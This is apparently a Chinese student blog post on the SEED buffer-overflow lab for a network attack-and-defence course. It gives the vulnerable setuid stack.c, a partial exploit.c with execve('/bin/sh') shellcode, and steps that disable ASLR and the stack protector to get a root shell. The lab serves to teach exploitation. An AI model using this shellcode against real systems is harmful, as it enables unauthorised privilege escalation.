2017-2018-2 20179215《网络攻防实践》seed缓冲区溢出实验

seed缓冲区溢出实验

有漏洞的程序:

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

编译以上易被攻击的程序并用 setuid 机制设置其有效执行用户为 root。你可以通过用root 帐户编译并 chmod 可执行到 4755 来实现。

注:以上程序有一个缓冲区溢出漏洞。它一开始从一个叫“badfile”的文件读了一个输入,然后将这个输入传递给了另一个 bof()功能里的缓冲区。原始输入最大长度为 517 bytes,然而 bof()的长度仅为 12 bytes。由于strcpy()不检查边界,将发生缓冲区溢出。由于此程序有效执行用户root。如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做“badfile”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 shell。

任务:攻击漏洞

我们提供给你一段部分完成的攻击代码“exploit.c”,这段代码的目的是为“badfile”创建内容。代码中,shellcode 已经给出,你需要完成其余部分。

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[ ]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

完成以上程序后编译并运行,它将为“badfile”生成内容。然后运行漏洞程序栈,如果你的攻击正确实现,你将得到一个shell。

实验过程:

(1)进入seed系统后,使用 sudo su命令提权:

(2)Ubuntu 和其它一些 Linux 系统都 适用了地址空间随机化机制(ASLR)来随机变化堆栈的起始地址。这将使猜测精确的地址非常 困难,猜测地址是缓冲区溢出攻击中关键的一步。在这个实验中,我们使用下面的命令关闭 ASLR:

(3)另:GCC 编译器中实现了一种”Stack Guard”的安全机制来防止缓冲区溢出。你可以关 闭该保护当您编译时使用-fno-stack-protector。例如,编译一个叫 example.c 的程序并且不使 用 Stack Guard,你应该使用下面的命令: gcc -fno-stack-protector example.c

不使用Stack Guard机制的GCC编译stack.c程序,并提权:

注意上述操作完成后要切换为普通用户,终端键入:exit:

(4)编译exploit,并执行如下操作,发现成功取得了root shell:

(5)使用命令id检测下,攻击成功:

原文地址:https://www.cnblogs.com/yl-930/p/9028521.html

时间: 2024-08-10 15:34:13

2017-2018-2 20179215《网络攻防实践》seed缓冲区溢出实验的相关文章

2017-2018-2 20179204《网络攻防实践》缓冲区溢出漏洞实验

第1节 实验简介 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 第2节 实验准备 系统用户名shiyanlou,实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 2.1 输入命令安装一些用于编译32位C程序的东西: 2.2 输入命令"linux

SEED缓冲区溢出实验笔记

缓冲区溢出实验(Linux 32位) 参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/ (本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的详细教程) 1. 准备工作 使用SEED ubuntu虚拟机进行缓冲区溢出实验,首先要关闭一些针对此攻击的防御机制来简化实验. (1)内存地址随机化(Address Space Randomization):基于Lin

2017-2018-2 20179215《网络攻防实践》第六周作业

2017-2018-2 20179215<网络攻防实践> 第六周学习总结 课本学习笔记 一.TCP/IP网络协议攻击 1.网络安全的属性:机密性 .完整性 .可用性 .真实性 .不可抵赖性 . 2.网络攻击的基本模式分为:截获(嗅探 与 监听) .中断(拒绝服务) .篡改(数据包篡改) .伪造(欺骗) . 3.TCP/IP网络协议栈在设计时采用了分层模型,分为:网络接口层 .互联层 .传输层 .应用层.每一层当中都有针对破坏网络安全属性为目的的攻击技术.每一层所涉及的主要协议: 网络接口层:以

2017-2018-2 20179215《网络攻防实践》第八周作业

<网络攻防实践> 第八周 学习总结 一.第八章教材内容总结 Linux 操作系统简介 Linux 系统特点: 兼容UNIX :API 兼容,管理命令和各种工具: 源码开放 支持各种硬件平台,支持多CPU Linux 平台上存在大量的应用软件,以及应 用开发工具 多种不同发行版: RedHat(RHEL,Fedora, CentOS, -),Ubuntu,Debian, - 2.Linux 操作系统: 不是微内核系统,但具有某些微内核特征 Intel 版本:i386 的保护模式,特权级 内核态(

20169217 2016-2017-2 《网络攻防实践》第十周学习总结

实践报告 和结对同学一起完成,分别作为攻击方和防守方,提交自己攻击和防守的截图 1)攻击方用nmap扫描(给出特定目的的扫描命令)2)防守方用tcpdump嗅探,用Wireshark分析(保留Wireshark的抓包数据),分析出攻击方的扫描目的和nmap命令 和赵京鸣一组,攻击机ip为222.28.132.218,靶机ip为222.28.132.98首先查看了靶机的ip,然后进行ping通 靶机使用tcpdump嗅探,设置过滤条件,发现了攻击机的ip. 攻击机使用nmap的不同参数对靶机进行端

2017-2018-1 20179206《网络攻防实践》第一周作业

a.你对师生关系的理解,希望是哪种关系? 我认为师生关系是一种相互平等交流的关系. 为什么这样说,因为这是由网络攻防实践这门可得特殊性来决定的,网络攻防是门实践课,需要大量的联练习和摸索,同时大部分学生对这一领域不熟悉,需要学习Linux在内的很多新东西,在中间会产生大量的新问题,这些问题需要向老师请教,如果能够尽可能的成为一种相互平等的关系,同学会更乐于去发现问题和请教问题,从而能爱上实践,爱上这门课. b.如何提问? l 提问的内容要先自我独立解决: 作为一门计算机实践课,首先放在第一位的就

第四周网络攻防实践作业

第四周 <网络攻防实践作业> 第一节.网络攻防技术与实践 1. 网络嗅探 l 定义:网络嗅探是利用计算机的网络端口解惑目的地为其他的计算机的数据报文,以监听数据流中所包含的信息. l 攻击方式:攻击者获得内部某一台主机的访问权后,能够被攻的听取网络上正在传输的数据,从中获取信息和用户口令,协议信息,为发起深层次攻击做好充足准备.同时通过这种方式,也可以发起中间人攻击,由于具有非干扰性,所以很难被发现. l 防御方式:网络嗅探可以被防御者用来捕获与分析网络的流量信息,以便找出网络中的而问题所在,

网络攻防实践 第十周作业

网络攻防实践作业 html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,tabl

20189224 《网络攻防实践》/《网络攻击与防范》第十周学习总结

20189224 <网络攻防实践>/<网络攻击与防范>第十周学习总结 冯·诺依曼体系结构和图灵机 图灵机是一个计算机的理论模型,本质上是状态机:冯诺依曼体系是图灵机的实现,包括运算.控制.存储.输入.输出五个部分.诺依曼体系相对之前的计算机最大的创新在于程序和数据的存储,以此实现机器内部编程. 图灵机的纸带应对应诺依曼计算机体系中的存储,读写头对应输入和输出,规则(读了一个符号后下一步做什么)对应运算,纸带怎么移动对应控制. 图灵机 图灵机(Turing Machine)是图灵在1